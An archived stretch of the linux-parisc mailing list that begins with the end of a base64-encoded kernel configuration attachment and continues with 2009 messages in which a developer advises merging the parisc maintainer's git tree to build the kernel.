NF9GUyBpcyBub3Qgc2V0CkNPTkZJR19KQkQ9eQojIENPTkZJR19KQkRfREVCVUcgaXMgbm90IHNl
dApDT05GSUdfUkVJU0VSRlNfRlM9eQojIENPTkZJR19SRUlTRVJGU19DSEVDSyBpcyBub3Qgc2V0
CiMgQ09ORklHX1JFSVNFUkZTX1BST0NfSU5GTyBpcyBub3Qgc2V0CiMgQ09ORklHX1JFSVNFUkZT
X0ZTX1hBVFRSIGlzIG5vdCBzZXQKIyBDT05GSUdfSkZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdf
RlNfUE9TSVhfQUNMIGlzIG5vdCBzZXQKQ09ORklHX0ZJTEVfTE9DS0lORz15CiMgQ09ORklHX1hG
U19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX09DRlMyX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQlRS
RlNfRlMgaXMgbm90IHNldApDT05GSUdfRE5PVElGWT15CkNPTkZJR19JTk9USUZZPXkKQ09ORklH
X0lOT1RJRllfVVNFUj15CiMgQ09ORklHX1FVT1RBIGlzIG5vdCBzZXQKIyBDT05GSUdfQVVUT0ZT
X0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQVVUT0ZTNF9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZV
U0VfRlMgaXMgbm90IHNldAoKIwojIENELVJPTS9EVkQgRmlsZXN5c3RlbXMKIwojIENPTkZJR19J
U085NjYwX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfVURGX0ZTIGlzIG5vdCBzZXQKCiMKIyBET1Mv
RkFUL05UIEZpbGVzeXN0ZW1zCiMKIyBDT05GSUdfTVNET1NfRlMgaXMgbm90IHNldAojIENPTkZJ
R19WRkFUX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfTlRGU19GUyBpcyBub3Qgc2V0CgojCiMgUHNl
dWRvIGZpbGVzeXN0ZW1zCiMKQ09ORklHX1BST0NfRlM9eQojIENPTkZJR19QUk9DX0tDT1JFIGlz
IG5vdCBzZXQKQ09ORklHX1BST0NfU1lTQ1RMPXkKQ09ORklHX1BST0NfUEFHRV9NT05JVE9SPXkK
Q09ORklHX1NZU0ZTPXkKQ09ORklHX1RNUEZTPXkKIyBDT05GSUdfVE1QRlNfUE9TSVhfQUNMIGlz
IG5vdCBzZXQKIyBDT05GSUdfSFVHRVRMQl9QQUdFIGlzIG5vdCBzZXQKQ09ORklHX0NPTkZJR0ZT
X0ZTPXkKIyBDT05GSUdfTUlTQ19GSUxFU1lTVEVNUyBpcyBub3Qgc2V0CiMgQ09ORklHX05FVFdP
UktfRklMRVNZU1RFTVMgaXMgbm90IHNldAoKIwojIFBhcnRpdGlvbiBUeXBlcwojCiMgQ09ORklH
X1BBUlRJVElPTl9BRFZBTkNFRCBpcyBub3Qgc2V0CkNPTkZJR19NU0RPU19QQVJUSVRJT049eQoj
IENPTkZJR19OTFMgaXMgbm90IHNldAojIENPTkZJR19ETE0gaXMgbm90IHNldAoKIwojIEtlcm5l
bCBoYWNraW5nCiMKQ09ORklHX1BSSU5US19USU1FPXkKQ09ORklHX0VOQUJMRV9XQVJOX0RFUFJF
Q0FURUQ9eQpDT05GSUdfRU5BQkxFX01VU1RfQ0hFQ0s9eQpDT05GSUdfRlJBTUVfV0FSTj0xMDI0
CkNPTkZJR19NQUdJQ19TWVNSUT15CiMgQ09ORklHX1VOVVNFRF9TWU1CT0xTIGlzIG5vdCBzZXQK
Q09ORklHX0RFQlVHX0ZTPXkKIyBDT05GSUdfSEVBREVSU19DSEVDSyBpcyBub3Qgc2V0CkNPTkZJ
R19ERUJVR19LRVJORUw9eQojIENPTkZJR19ERUJVR19TSElSUSBpcyBub3Qgc2V0CkNPTkZJR19E
RVRFQ1RfU09GVExPQ0tVUD15CiMgQ09ORklHX0JPT1RQQVJBTV9TT0ZUTE9DS1VQX1BBTklDIGlz
IG5vdCBzZXQKQ09ORklHX0JPT1RQQVJBTV9TT0ZUTE9DS1VQX1BBTklDX1ZBTFVFPTAKIyBDT05G
SUdfU0NIRURfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19TQ0hFRFNUQVRTIGlzIG5vdCBzZXQK
IyBDT05GSUdfVElNRVJfU1RBVFMgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19PQkpFQ1RTIGlz
IG5vdCBzZXQKQ09ORklHX1NMVUJfREVCVUdfT049eQojIENPTkZJR19TTFVCX1NUQVRTIGlzIG5v
dCBzZXQKQ09ORklHX0RFQlVHX1JUX01VVEVYRVM9eQpDT05GSUdfREVCVUdfUElfTElTVD15CiMg
Q09ORklHX1JUX01VVEVYX1RFU1RFUiBpcyBub3Qgc2V0CkNPTkZJR19ERUJVR19TUElOTE9DSz15
CkNPTkZJR19ERUJVR19NVVRFWEVTPXkKQ09ORklHX0RFQlVHX1NQSU5MT0NLX1NMRUVQPXkKIyBD
T05GSUdfREVCVUdfTE9DS0lOR19BUElfU0VMRlRFU1RTIGlzIG5vdCBzZXQKIyBDT05GSUdfREVC
VUdfS09CSkVDVCBpcyBub3Qgc2V0CkNPTkZJR19ERUJVR19CVUdWRVJCT1NFPXkKQ09ORklHX0RF
QlVHX0lORk89eQpDT05GSUdfREVCVUdfVk09eQojIENPTkZJR19ERUJVR19XUklURUNPVU5UIGlz
IG5vdCBzZXQKQ09ORklHX0RFQlVHX01FTU9SWV9JTklUPXkKIyBDT05GSUdfREVCVUdfTElTVCBp
cyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1NHIGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfTk9U
SUZJRVJTIGlzIG5vdCBzZXQKIyBDT05GSUdfQk9PVF9QUklOVEtfREVMQVkgaXMgbm90IHNldAoj
IENPTkZJR19SQ1VfVE9SVFVSRV9URVNUIGlzIG5vdCBzZXQKQ09ORklHX1JDVV9DUFVfU1RBTExf
REVURUNUT1I9eQojIENPTkZJR19CQUNLVFJBQ0VfU0VMRl9URVNUIGlzIG5vdCBzZXQKIyBDT05G
SUdfREVCVUdfQkxPQ0tfRVhUX0RFVlQgaXMgbm90IHNldAojIENPTkZJR19GQVVMVF9JTkpFQ1RJ
T04gaXMgbm90IHNldAojIENPTkZJR19TWVNDVExfU1lTQ0FMTF9DSEVDSyBpcyBub3Qgc2V0Cgoj
CiMgVHJhY2VycwojCiMgQ09ORklHX1NDSEVEX1RSQUNFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0NP
TlRFWFRfU1dJVENIX1RSQUNFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0JPT1RfVFJBQ0VSIGlzIG5v
dCBzZXQKIyBDT05GSUdfVFJBQ0VfQlJBTkNIX1BST0ZJTElORyBpcyBub3Qgc2V0CkNPTkZJR19E
WU5BTUlDX1BSSU5US19ERUJVRz15CiMgQ09ORklHX1NBTVBMRVMgaXMgbm90IHNldAojIENPTkZJ
R19ERUJVR19ST0RBVEEgaXMgbm90IHNldAoKIwojIFNlY3VyaXR5IG9wdGlvbnMKIwojIENPTkZJ
R19LRVlTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VDVVJJVFkgaXMgbm90IHNldAojIENPTkZJR19T
RUNVUklUWUZTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VDVVJJVFlfRklMRV9DQVBBQklMSVRJRVMg
aXMgbm90IHNldApDT05GSUdfQ1JZUFRPPXkKCiMKIyBDcnlwdG8gY29yZSBvciBoZWxwZXIKIwoj
IENPTkZJR19DUllQVE9fRklQUyBpcyBub3Qgc2V0CkNPTkZJR19DUllQVE9fQUxHQVBJPXkKQ09O
RklHX0NSWVBUT19BTEdBUEkyPXkKQ09ORklHX0NSWVBUT19IQVNIPXkKQ09ORklHX0NSWVBUT19I
QVNIMj15CiMgQ09ORklHX0NSWVBUT19NQU5BR0VSIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRP
X01BTkFHRVIyIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0dGMTI4TVVMIGlzIG5vdCBzZXQK
IyBDT05GSUdfQ1JZUFRPX05VTEwgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fQ1JZUFREIGlz
IG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX0FVVEhFTkMgaXMgbm90IHNldAojIENPTkZJR19DUllQ
VE9fVEVTVCBpcyBub3Qgc2V0CgojCiMgQXV0aGVudGljYXRlZCBFbmNyeXB0aW9uIHdpdGggQXNz
b2NpYXRlZCBEYXRhCiMKIyBDT05GSUdfQ1JZUFRPX0NDTSBpcyBub3Qgc2V0CiMgQ09ORklHX0NS
WVBUT19HQ00gaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fU0VRSVYgaXMgbm90IHNldAoKIwoj
IEJsb2NrIG1vZGVzCiMKIyBDT05GSUdfQ1JZUFRPX0NCQyBpcyBub3Qgc2V0CiMgQ09ORklHX0NS
WVBUT19DVFIgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fQ1RTIGlzIG5vdCBzZXQKIyBDT05G
SUdfQ1JZUFRPX0VDQiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19MUlcgaXMgbm90IHNldAoj
IENPTkZJR19DUllQVE9fUENCQyBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19YVFMgaXMgbm90
IHNldAoKIwojIEhhc2ggbW9kZXMKIwojIENPTkZJR19DUllQVE9fSE1BQyBpcyBub3Qgc2V0CiMg
Q09ORklHX0NSWVBUT19YQ0JDIGlzIG5vdCBzZXQKCiMKIyBEaWdlc3QKIwpDT05GSUdfQ1JZUFRP
X0NSQzMyQz15CiMgQ09ORklHX0NSWVBUT19NRDQgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9f
TUQ1IGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX01JQ0hBRUxfTUlDIGlzIG5vdCBzZXQKIyBD
T05GSUdfQ1JZUFRPX1JNRDEyOCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19STUQxNjAgaXMg
bm90IHNldAojIENPTkZJR19DUllQVE9fUk1EMjU2IGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRP
X1JNRDMyMCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19TSEExIGlzIG5vdCBzZXQKIyBDT05G
SUdfQ1JZUFRPX1NIQTI1NiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19TSEE1MTIgaXMgbm90
IHNldAojIENPTkZJR19DUllQVE9fVEdSMTkyIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZUFRPX1dQ
NTEyIGlzIG5vdCBzZXQKCiMKIyBDaXBoZXJzCiMKIyBDT05GSUdfQ1JZUFRPX0FFUyBpcyBub3Qg
c2V0CiMgQ09ORklHX0NSWVBUT19BTlVCSVMgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fQVJD
NCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19CTE9XRklTSCBpcyBub3Qgc2V0CiMgQ09ORklH
X0NSWVBUT19DQU1FTExJQSBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19DQVNUNSBpcyBub3Qg
c2V0CiMgQ09ORklHX0NSWVBUT19DQVNUNiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19ERVMg
aXMgbm90IHNldAojIENPTkZJR19DUllQVE9fRkNSWVBUIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JZ
UFRPX0tIQVpBRCBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19TQUxTQTIwIGlzIG5vdCBzZXQK
IyBDT05GSUdfQ1JZUFRPX1NFRUQgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9fU0VSUEVOVCBp
cyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19URUEgaXMgbm90IHNldAojIENPTkZJR19DUllQVE9f
VFdPRklTSCBpcyBub3Qgc2V0CgojCiMgQ29tcHJlc3Npb24KIwojIENPTkZJR19DUllQVE9fREVG
TEFURSBpcyBub3Qgc2V0CiMgQ09ORklHX0NSWVBUT19MWk8gaXMgbm90IHNldAoKIwojIFJhbmRv
bSBOdW1iZXIgR2VuZXJhdGlvbgojCiMgQ09ORklHX0NSWVBUT19BTlNJX0NQUk5HIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQ1JZUFRPX0hXIGlzIG5vdCBzZXQKCiMKIyBMaWJyYXJ5IHJvdXRpbmVzCiMK
Q09ORklHX0JJVFJFVkVSU0U9eQpDT05GSUdfR0VORVJJQ19GSU5EX0xBU1RfQklUPXkKIyBDT05G
SUdfQ1JDX0NDSVRUIGlzIG5vdCBzZXQKQ09ORklHX0NSQzE2PXkKIyBDT05GSUdfQ1JDX1QxMERJ
RiBpcyBub3Qgc2V0CiMgQ09ORklHX0NSQ19JVFVfVCBpcyBub3Qgc2V0CkNPTkZJR19DUkMzMj15
CiMgQ09ORklHX0NSQzcgaXMgbm90IHNldApDT05GSUdfTElCQ1JDMzJDPXkKQ09ORklHX1BMSVNU
PXkKQ09ORklHX0hBU19JT01FTT15CkNPTkZJR19IQVNfSU9QT1JUPXkKQ09ORklHX0hBU19ETUE9
eQo=
--0015174c37b40c18480463e43167--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 07:24:39 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <119aab440902270424oaafbc7ehcc23b433e8ae06e5@mail.gmail.com>
References: <a4423d670902270247g70134a05n20fe3ba7c8970fbe@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235737500 26579 80.91.229.12 (27 Feb 2009 12:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 12:25:00 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 13:26:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld1n3-0006NG-7B
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 13:26:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753942AbZB0MYm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 07:24:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754225AbZB0MYm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 07:24:42 -0500
Original-Received: from qw-out-2122.google.com ([74.125.92.27]:16048 "EHLO
	qw-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753942AbZB0MYl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 07:24:41 -0500
Original-Received: by qw-out-2122.google.com with SMTP id 5so1823319qwi.37
        for <linux-parisc@vger.kernel.org>; Fri, 27 Feb 2009 04:24:39 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=IFrzC0telSfF3gT+b5FIr4O2GIcRibIeyH7PHzMHAlI=;
        b=L9J/kVmIPFjJmWIC2MQdu9Yy5yC9yt0pFAfUxTZGcsn4r8ByAwaELfMnGQiFAVQ0lI
         hZx0u48vYvukU/qSInk1m9cg0yw8xr/4PG2MQme8WacxX8usvziJF7pGY9xQoqEZ4OBj
         E3mqoaItxzxWrQSrBufpn0ATpZv9eZZ0mCb+E=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=eOBQ/6WCnVB+iY2tg/5mYHJY6fw18joUZnLKib+wRjr4KkdyKgMEuaeRvC2Z921z9c
         qbsRnhWcSBbDaYlLWUl5XcnvmQ9qDHsYiWOp9kToNiw6D5WSxRe9ELV1+zJt+752RQZS
         lq16CmhT/xxhZO8TUJQQ4WI6/KHzyOHfxSE8w=
Original-Received: by 10.229.82.83 with SMTP id a19mr1795518qcl.42.1235737479619; Fri, 
	27 Feb 2009 04:24:39 -0800 (PST)
In-Reply-To: <a4423d670902270247g70134a05n20fe3ba7c8970fbe@mail.gmail.com>
X-Google-Sender-Auth: b2276798249ea70c
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1323
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1323>

On Fri, Feb 27, 2009 at 5:47 AM, Alexander Beregalov
<a.beregalov@gmail.com> wrote:
> I am building the kernel for parisc for the first time.
> Have I missed anything important?

Where did you get your kernel source? e.g. I cloned foo, merged bar
into, foo and then compiled.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 16:04:03 +0300
Lines: 15
Approved: news@gmane.org
Message-ID: <a4423d670902270504w6386cffdp91249e962dfa3fa4@mail.gmail.com>
References: <a4423d670902270247g70134a05n20fe3ba7c8970fbe@mail.gmail.com>
	 <119aab440902270424oaafbc7ehcc23b433e8ae06e5@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235739895 2296 80.91.229.12 (27 Feb 2009 13:04:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 13:04:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 14:06:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld2PD-0004k5-Kg
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 14:05:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753394AbZB0NEJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 08:04:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753973AbZB0NEI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 08:04:08 -0500
Original-Received: from mail-ew0-f177.google.com ([209.85.219.177]:40647 "EHLO
	mail-ew0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753394AbZB0NEI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 08:04:08 -0500
Original-Received: by ewy25 with SMTP id 25so1165162ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 27 Feb 2009 05:04:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=e/QDnM27f3bXPmwEaAUKqudIbXU6MCQTNQs+4DIug0w=;
        b=Z6rT+sR58jXF4vhNVOMJq3p8qxTLT9/eV1RMXLq6FYLNj1W8yPHvNoyJ4B4CfSAHNe
         JxK9NMA1xe3cmNsgR6v576hz8dIbhJHAJBMNSyGuv8gEwPTHdAuP1jhxDvzLvXGD5Cgo
         t9Biqbw/n7RJwuupKtW0EteAqYDs1zJXkC4lk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=uoYBMGtmBv10fr4xobfiQpXVDtGJBj6N7UbflVjtGo6+UfiNWGwxMq7r/e88o+H+ao
         MMwI7rDdbFVy6jIs+jOhEPBu5mCp4T2MEAbqpUdXIYVyd6Hw79HRL7e5b2MUbDPEBw+C
         /GJV1+6EOPzZi12LZEwGZcQuGM9pjdFAl79Xs=
Original-Received: by 10.210.44.19 with SMTP id r19mr1949416ebr.60.1235739843374; Fri, 
	27 Feb 2009 05:04:03 -0800 (PST)
In-Reply-To: <119aab440902270424oaafbc7ehcc23b433e8ae06e5@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1324
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1324>

2009/2/27 Carlos O'Donell <carlos@systemhalted.org>:
> On Fri, Feb 27, 2009 at 5:47 AM, Alexander Beregalov
> <a.beregalov@gmail.com> wrote:
>> I am building the kernel for parisc for the first time.
>> Have I missed anything important?
>
> Where did you get your kernel source? e.g. I cloned foo, merged bar
> into, foo and then compiled.

I cloned current Linus's git tree.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 08:18:09 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440902270518t2cc34c13x4991fb394d54f774@mail.gmail.com>
References: <a4423d670902270247g70134a05n20fe3ba7c8970fbe@mail.gmail.com>
	 <119aab440902270424oaafbc7ehcc23b433e8ae06e5@mail.gmail.com>
	 <a4423d670902270504w6386cffdp91249e962dfa3fa4@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235740705 5368 80.91.229.12 (27 Feb 2009 13:18:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 13:18:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 14:19:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld2cp-0002iq-Cw
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 14:19:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752153AbZB0NSM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 08:18:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752593AbZB0NSM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 08:18:12 -0500
Original-Received: from qw-out-2122.google.com ([74.125.92.27]:27335 "EHLO
	qw-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752153AbZB0NSL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 08:18:11 -0500
Original-Received: by qw-out-2122.google.com with SMTP id 5so1855610qwi.37
        for <linux-parisc@vger.kernel.org>; Fri, 27 Feb 2009 05:18:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=4A9NJilsCw+0ck9Tq2VqibpVeXUip4PVG5hYndjKNck=;
        b=Ie90RtPZ86aHuQckXPDNQUjIpejXIYBmYXclzR5y8tPW6AuzPsiKkFyZshIomAYD7a
         pbwN3xkeFrV+SDQkp4P8ktR1hcC24IHp1mG6vs8dISt3k1/KtbDNHC4poKGedav3nplX
         MHrvGKApsr88aIhjKZKGJRvOW16Hxly+Aum7I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=hXysEVyMG1NrAbwHS9OzuoGZ4pRvchVysxYfkPIvnpGckJ0/TDlKV/KkMxnD9ENHB2
         7gk7FHZbjTgxqv+GcWFyTKBAxEzJqfQ7jju1rRcd/gRLhb7FdhSMKXt7sbA+4VMhJwYG
         BDJoe3si0TrfaQ/XOpfImVvodWUlnELYzx/Cw=
Original-Received: by 10.229.96.9 with SMTP id f9mr1794239qcn.78.1235740689542; Fri, 27 
	Feb 2009 05:18:09 -0800 (PST)
In-Reply-To: <a4423d670902270504w6386cffdp91249e962dfa3fa4@mail.gmail.com>
X-Google-Sender-Auth: 39ef3c21cbb03575
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1325
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1325>

On Fri, Feb 27, 2009 at 8:04 AM, Alexander Beregalov
<a.beregalov@gmail.com> wrote:
> 2009/2/27 Carlos O'Donell <carlos@systemhalted.org>:
>> On Fri, Feb 27, 2009 at 5:47 AM, Alexander Beregalov
>> <a.beregalov@gmail.com> wrote:
>>> I am building the kernel for parisc for the first time.
>>> Have I missed anything important?
>>
>> Where did you get your kernel source? e.g. I cloned foo, merged bar
>> into, foo and then compiled.
>
> I cloned current Linus's git tree.

I always merge from Kyle's tree (parisc maintainer), which has the
latest parisc patches. There are at least 26 patches in kyle's tree
which are not on Linus' git tree.

e.g.
git remote -v
kyle    git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
origin  git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 27 Feb 2009 18:40:46 +0300
Lines: 83
Approved: news@gmane.org
Message-ID: <a4423d670902270740y2c376722j2c2b444401bdc271@mail.gmail.com>
References: <a4423d670902270247g70134a05n20fe3ba7c8970fbe@mail.gmail.com>
	 <119aab440902270424oaafbc7ehcc23b433e8ae06e5@mail.gmail.com>
	 <a4423d670902270504w6386cffdp91249e962dfa3fa4@mail.gmail.com>
	 <119aab440902270518t2cc34c13x4991fb394d54f774@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235749260 10310 80.91.229.12 (27 Feb 2009 15:41:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 15:41:00 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 16:42:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld4qr-0003L6-4X
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 16:42:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
